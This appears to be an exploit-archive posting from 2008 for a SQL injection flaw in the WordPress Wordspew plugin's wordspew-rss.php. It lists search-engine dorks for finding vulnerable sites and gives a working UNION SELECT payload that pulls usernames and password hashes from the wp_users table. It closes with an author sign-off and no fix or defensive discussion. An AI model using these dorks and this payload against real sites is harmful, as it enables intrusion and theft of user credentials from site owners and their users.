[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Wordpress Plugin Wordspew Remote SQL Injection Vulnerability
# Published : 2008-02-02
# Author : S@BUN
# Previous Title : The Everything Development System <= Pre-1.0 SQL Injection Vuln
# Next Title : BookmarkX script 2007 (topicid) Remote SQL Injection Vulnerability
#########################################################################
#
# Wordpress Plugin (wordspew-rss.php) SQL Injection
#
#########################################################################
#
# AUTHOR : S@BUN
#
# HOME : http://www.hackturkiye.com/
#########################################################################
DORK 1 : allinurl: "wordspew-rss.php"
DORK 2 : allinurl: "wp-content/plugins/wordspew"
DORK 3 : allinurl: "wordspew/wordspew-rss.php"
#########################################################################
EXPLOIT :
wordspew-rss.php?id=-998877/**/UNION/**/SELECT/**/0,1,concat(0x7c,user_login,0x7c,user_pass,0x7c),concat(0x7c,user_login,0x7c,user_pass,0x7c),4,5/**/FROM/**/wp_users
#########################################################################
# S@BUN www.hackturkiye.com S@BUN
#########################################################################
# S@BUN GOOD LUCKY S@BUN
#########################################################################
# www.Syue.com [2008-02-02]